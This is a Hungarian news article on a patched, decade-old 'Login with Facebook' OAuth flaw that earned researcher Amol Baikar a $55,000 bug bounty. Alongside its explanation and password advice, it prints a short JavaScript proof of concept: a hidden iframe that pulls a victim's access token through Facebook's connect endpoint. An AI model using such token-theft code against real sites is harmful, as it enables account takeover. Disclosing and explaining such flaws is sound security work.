Amol Baikar indiai kiberbiztonsági szakértő fedezett fel tavaly decemberben egy, a “Bejelentkezés Facebook-kal” funkcióban, több mint 10 éve rejlő hibát a bug bounty program keretén belül, ami számára az eddigi legnagyobb kifizetett összeget jelentette: 55,000 dollár ütötte markát a hiba felfedezéséért.
A “Bejelentkezés Facebook-kal” hiba kihasználása esetén a támadó egy megfelelően előkészített weboldal segítségével ellophatta az ACCESS_TOKEN-t, és teljesen átvehette az áldozat Facebook profilja felett az uralmat.
Az OAuth 2.0 technológia lehetővé teszi, hogy az ACCES_TOKEN segítségével információ cserélődjön a Facebook és harmadik félhez tartozó weboldalak között. Jó ideje ezt használja már a Facebook, de más szolgáltatások is.
A sebezhetőség kihasználásával nem csak a Facebook profil felett volt átvehető az irányítás, de olyan nagy szolgáltatások is érintettek, mint az Instagram, a Netflix, a Tinder, a Spotify, az Oculus.
Ha a támadó sikeresen megszerezte az access token-t, onnantól kezdve szabadon posztolhatott az áldozat üzenőfalára, írhatott üzenetet a nevében, hozzáférhetett a képekhez, videókhoz.
Hogyan történt a támadás?
Két feltétel kellett a támadás végrehajtásához:
- Kihagyni az X-Frame-Options beállítást a headerből
- Egy extra window.parent hozzáadásával a felhasználónak nem kellett semmit se tennie az oldalon, csupán elég volt azt megnyitnia
Ennek köszönhetően az elsődleges access token kiszivároghatott az áldozat tudta nélkül is.
var app_id = '124024574287414',
app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;
var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);
window.addEventListener('OAuth', function(FB) {
alert(FB.data.name);
}, !1);
A hibát a Facebook már javította, de mivel több, mint tíz éve jelen volt a rendszerben így nincs kizárva, hogy támadók esetleg kihasználták a sebezhetőséget. Mindenesetre azt javasolják, hogy aki biztosra szeretne menni, az változtasson jelszót az érintett szolgáltatásokon, és jelentkezzen ki az összes eszközről.